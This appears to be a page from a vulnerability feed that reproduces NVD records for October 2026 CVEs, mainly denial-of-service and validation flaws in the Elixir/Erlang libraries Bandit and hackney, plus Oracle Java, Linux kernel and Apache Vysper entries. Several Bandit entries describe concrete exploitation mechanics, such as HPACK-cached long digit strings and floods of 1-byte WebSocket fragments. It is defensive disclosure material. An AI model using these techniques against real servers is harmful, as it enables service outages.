Bandit.Headers.parse_integer/2 in lib/bandit/headers.ex builds the number one digit at a time with no limit on the digit count, allocating a new bignum at each step, so one value costs time quadratic in its length. It runs on raw request input over HTTP/1 and HTTP/2, before any range check. Over HTTP/2, a 4,000-digit value can be stored once in the HPACK dynamic table and re-sent on each new stream for about one byte: 124 KB of traffic kept the server busy for 27.9 s.

This issue affects bandit: from 1.0.0-pre.7 before 1.14.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113436).
Sources:
NVD CVE-2026-113436: https://nvd.nist.gov/vuln/detail/CVE-2026-113436
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Inefficient Algorithmic Complexity vulnerability in the header integer parser of mtrudel bandit allows an unauthenticated remote attacker to consume server CPU via a content-length value or a Host or :authority port made of thousands of digits.

Bandit.Headers.parse_integer/2 in lib/bandit/headers.ex builds the number one digit at a time with no limit on the digit count, allocating a new bignum at each step, so one value costs time quadratic in its length. It runs on raw request input over HTTP/1 and HTTP/2, before any range check. Over HTTP/2, a 4,000-digit value can be stored once in the HPACK dynamic table and re-sent on each new stream for about one byte: 124 KB of traffic kept the server busy for 27.9 s.

This issue affects bandit: from 1.0.0-pre.7 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in the WebSocket fragment reassembly of mtrudel bandit allows an unauthenticated remote attacker to exhaust...
https://kevwire.com/record/CVE-2026-114213
Allocation of Resources Without Limits or Throttling vulnerability in the WebSocket fragment reassembly of mtrudel bandit allows an unauthenticated remote attacker to exhaust... (Oct 26, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in the WebSocket fragment reassembly of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via a fragmented message made of many 1-byte continuation frames.

Bandit.WebSocket.Connection checks max_fragmented_message_size against the payload bytes received, but keeps every non-final continuation frame as a new list cell around its own binary, and nothing limits the number of fragments. A 1-byte fragment costs 7 bytes on the wire but about 150 to 170 bytes of server memory, so one connection can hold about 150 times the configured limit, roughly 1.2 to 1.4 GB at the default 8 MB. Ping frames between fragments keep the connection alive past the idle timeout.

This issue affects bandit: from 1.11.0 before 1.14.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114213).
Sources:
NVD CVE-2026-114213: https://nvd.nist.gov/vuln/detail/CVE-2026-114213
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Allocation of Resources Without Limits or Throttling vulnerability in the WebSocket fragment reassembly of mtrudel bandit allows an unauthenticated remote attacker to exhaust server memory via a fragmented message made of many 1-byte continuation frames.

Bandit.WebSocket.Connection checks max_fragmented_message_size against the payload bytes received, but keeps every non-final continuation frame as a new list cell around its own binary, and nothing limits the number of fragments. A 1-byte fragment costs 7 bytes on the wire but about 150 to 170 bytes of server memory, so one connection can hold about 150 times the configured limit, roughly 1.2 to 1.4 GB at the default 8 MB. Ping frames between fragments keep the connection alive past the idle timeout.

This issue affects bandit: from 1.11.0 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 request body reader of mtrudel bandit allows an unauthenticated remote attacker to hold stream...
https://kevwire.com/record/CVE-2026-115269
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 request body reader of mtrudel bandit allows an unauthenticated remote attacker to hold stream... (Oct 26, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 request body reader of mtrudel bandit allows an unauthenticated remote attacker to hold stream processes open indefinitely via WINDOW_UPDATE or empty SETTINGS frames sent while a Plug reads the request body.

Bandit.HTTP2.Stream.do_read_data/4 in lib/bandit/http2/stream.ex waits for each frame with a fresh read_timeout. A stream WINDOW_UPDATE, or the zero-delta window update that every empty SETTINGS frame delivers to all streams, ends the wait without delivering any body data, and the loop starts a new full countdown. A client that sends one of these 9-byte frames before each countdown expires keeps read_body blocked, together with the stream process and whatever the application holds while reading, for as long as it likes.

This issue affects bandit: from 1.4.0 before 1.14.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115269).
Sources:
NVD CVE-2026-115269: https://nvd.nist.gov/vuln/detail/CVE-2026-115269
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 request body reader of mtrudel bandit allows an unauthenticated remote attacker to hold stream processes open indefinitely via WINDOW_UPDATE or empty SETTINGS frames sent while a Plug reads the request body.

Bandit.HTTP2.Stream.do_read_data/4 in lib/bandit/http2/stream.ex waits for each frame with a fresh read_timeout. A stream WINDOW_UPDATE, or the zero-delta window update that every empty SETTINGS frame delivers to all streams, ends the wait without delivering any body data, and the loop starts a new full countdown. A client that sends one of these 9-byte frames before each countdown expires keeps read_body blocked, together with the stream process and whatever the application holds while reading, for as long as it likes.

This issue affects bandit: from 1.4.0 before 1.14.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a...
https://kevwire.com/record/CVE-2026-115693
Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a... (Oct 26, 2026).
Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a certificate chain that ends in a publicly trusted root. hackney adds {partial_chain, fun hackney_ssl:partial_chain/1} to every verify_peer configuration. The callback returns any certificate in the peer chain whose public key matches a root in the bundled certifi store as the trust anchor, and OTP honours that callback over the configured cacerts. hackney_ssl:merge_ssl_opts/3 kept the callback when the caller replaced the trust store with cacerts or cacertfile in ssl_options, so a connection pinned to a private CA still accepted any chain that carried a publicly trusted root.

The hostname check still applies, so the attacker needs a publicly trusted certificate for the pinned hostname.

This issue affects hackney: from 1.24.0 before 4.9.0.
CVSS 9.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115693).
Sources:
NVD CVE-2026-115693: https://nvd.nist.gov/vuln/detail/CVE-2026-115693
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a certificate chain that ends in a publicly trusted root. hackney adds {partial_chain, fun hackney_ssl:partial_chain/1} to every verify_peer configuration. The callback returns any certificate in the peer chain whose public key matches a root in the bundled certifi store as the trust anchor, and OTP honours that callback over the configured cacerts. hackney_ssl:merge_ssl_opts/3 kept the callback when the caller replaced the trust store with cacerts or cacertfile in ssl_options, so a connection pinned to a private CA still accepted any chain that carried a publicly trusted root.

The hostname check still applies, so the attacker needs a publicly trusted certificate for the pinned hostname.

This issue affects hackney: from 1.24.0 before 4.9.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in hackney_conn in benoitc hackney allows a malicious HTTP server to exhaust client memory via an oversized or...
https://kevwire.com/record/CVE-2026-97200
Allocation of Resources Without Limits or Throttling vulnerability in hackney_conn in benoitc hackney allows a malicious HTTP server to exhaust client memory via an oversized or... (Oct 26, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in hackney_conn in benoitc hackney allows a malicious HTTP server to exhaust client memory via an oversized or highly compressed response body. hackney:request/5 and hackney:body/1 return the whole response body, and nothing bounds how much the connection process buffers. Any server the client requests can trigger it.

hackney_conn:read_full_body/2 and the HTTP/2 and HTTP/3 accumulators append every chunk until the body ends. With {auto_decompress, true} the buffered body is then inflated in one step with zlib:gunzip/1 or zlib:inflate/2, which return the whole output at once.

This issue affects hackney: from 2.0.0-beta.1 before 4.9.0.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97200).
Sources:
NVD CVE-2026-97200: https://nvd.nist.gov/vuln/detail/CVE-2026-97200
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Allocation of Resources Without Limits or Throttling vulnerability in hackney_conn in benoitc hackney allows a malicious HTTP server to exhaust client memory via an oversized or highly compressed response body. hackney:request/5 and hackney:body/1 return the whole response body, and nothing bounds how much the connection process buffers. Any server the client requests can trigger it.

hackney_conn:read_full_body/2 and the HTTP/2 and HTTP/3 accumulators append every chunk until the body ends. With {auto_decompress, true} the buffered body is then inflated in one step with zlib:gunzip/1 or zlib:inflate/2, which return the whole output at once.

This issue affects hackney: from 2.0.0-beta.1 before 4.9.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).
https://kevwire.com/record/CVE-2026-114820
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE). (Oct 24, 2026).
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u511-b32, 8u511-perf-b32, 11.0.33.0.2, 17.0.21.0.2, 21.0.13.0.2, 25.0.5.0.2, 27.0.1.0.2; Oracle GraalVM for JDK: 17.0.21.0.2 and  21.0.13.0.2; Oracle GraalVM Enterprise Edition: 21.3.20.0.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114820).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114820&date=2026-10-25).
Sources:
NVD CVE-2026-114820: https://nvd.nist.gov/vuln/detail/CVE-2026-114820
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114820&date=2026-10-25
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u511-b32, 8u511-perf-b32, 11.0.33.0.2, 17.0.21.0.2, 21.0.13.0.2, 25.0.5.0.2, 27.0.1.0.2; Oracle GraalVM for JDK: 17.0.21.0.2 and  21.0.13.0.2; Oracle GraalVM Enterprise Edition: 21.3.20.0.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been identified in the WolfProt interface implementation. Insufficient neutralization of user-controlled input could allow an unauthenticated attacker...
https://kevwire.com/record/CVE-2026-59106
A security vulnerability has been identified in the WolfProt interface implementation. Insufficient neutralization of user-controlled input could allow an unauthenticated attacker... (Oct 26, 2026).
A security vulnerability has been identified in the WolfProt interface implementation. Insufficient neutralization of user-controlled input could allow an unauthenticated attacker with network access to a vulnerable service to execute operating-system commands with the privileges of the affected application service.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59106).
Sources:
NVD CVE-2026-59106: https://nvd.nist.gov/vuln/detail/CVE-2026-59106
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
A security vulnerability has been identified in the WolfProt interface implementation. Insufficient neutralization of user-controlled input could allow an unauthenticated attacker with network access to a vulnerable service to execute operating-system commands with the privileges of the affected application service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been identified in the vSolution Matrix file sharing feature. A shared cryptographic trust configuration could allow an attacker who obtains the...
https://kevwire.com/record/CVE-2026-59107
A security vulnerability has been identified in the vSolution Matrix file sharing feature. A shared cryptographic trust configuration could allow an attacker who obtains the... (Oct 26, 2026).
A security vulnerability has been identified in the vSolution Matrix file sharing feature. A shared cryptographic trust configuration could allow an attacker who obtains the matching private key to authenticate to an affected device via SSH as root. This vulnerability affects only devices configured as a vSolution Matrix main/master station with the file sharing feature enabled.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59107).
Sources:
NVD CVE-2026-59107: https://nvd.nist.gov/vuln/detail/CVE-2026-59107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
A security vulnerability has been identified in the vSolution Matrix file sharing feature. A shared cryptographic trust configuration could allow an attacker who obtains the matching private key to authenticate to an affected device via SSH as root. This vulnerability affects only devices configured as a vSolution Matrix main/master station with the file sharing feature enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: bpf: Propagate error from visit_tailcall_insn
https://kevwire.com/record/CVE-2026-63864
Linux kernel: bpf: Propagate error from visit_tailcall_insn (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

bpf: Propagate error from visit_tailcall_insn

Commit e40f5a6bf88a ("bpf: correct stack liveness for tail calls") added
visit_tailcall_insn() but did not check its return value.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63864).
Sources:
NVD CVE-2026-63864: https://nvd.nist.gov/vuln/detail/CVE-2026-63864
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

bpf: Propagate error from visit_tailcall_insn

Commit e40f5a6bf88a ("bpf: correct stack liveness for tail calls") added
visit_tailcall_insn() but did not check its return value.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### **UNSUPPORTED WHEN ASSIGNED**  Unbounded allocation in XML parsing in Apache Vysper; all versions, may lead to an out of memory condition.
https://kevwire.com/record/CVE-2026-115721
**UNSUPPORTED WHEN ASSIGNED**  Unbounded allocation in XML parsing in Apache Vysper; all versions, may lead to an out of memory condition. (Oct 26, 2026).
**UNSUPPORTED WHEN ASSIGNED**  Unbounded allocation in XML parsing in Apache Vysper; all versions, may lead to an out of memory condition.




This issue affects all versions of Apache Vysper. Apache Vysper is an XMPP (Jabber) server library.




As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115721).
Sources:
NVD CVE-2026-115721: https://nvd.nist.gov/vuln/detail/CVE-2026-115721
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
**UNSUPPORTED WHEN ASSIGNED**  Unbounded allocation in XML parsing in Apache Vysper; all versions, may lead to an out of memory condition.




This issue affects all versions of Apache Vysper. Apache Vysper is an XMPP (Jabber) server library.




As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### **UNSUPPORTED WHEN ASSIGNED**  Authorization bypass in Apache Vysper, all versions.
https://kevwire.com/record/CVE-2026-115748
**UNSUPPORTED WHEN ASSIGNED**  Authorization bypass in Apache Vysper, all versions. (Oct 26, 2026).
**UNSUPPORTED WHEN ASSIGNED**  Authorization bypass in Apache Vysper, all versions.




Apache Vysper is an XMPP (Jabber) server library. Its XEP-0077 (In-Band Registration) implementation is missing an authentication check, allowing any authenticated user to compromise other accounts.




As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115748).
Sources:
NVD CVE-2026-115748: https://nvd.nist.gov/vuln/detail/CVE-2026-115748
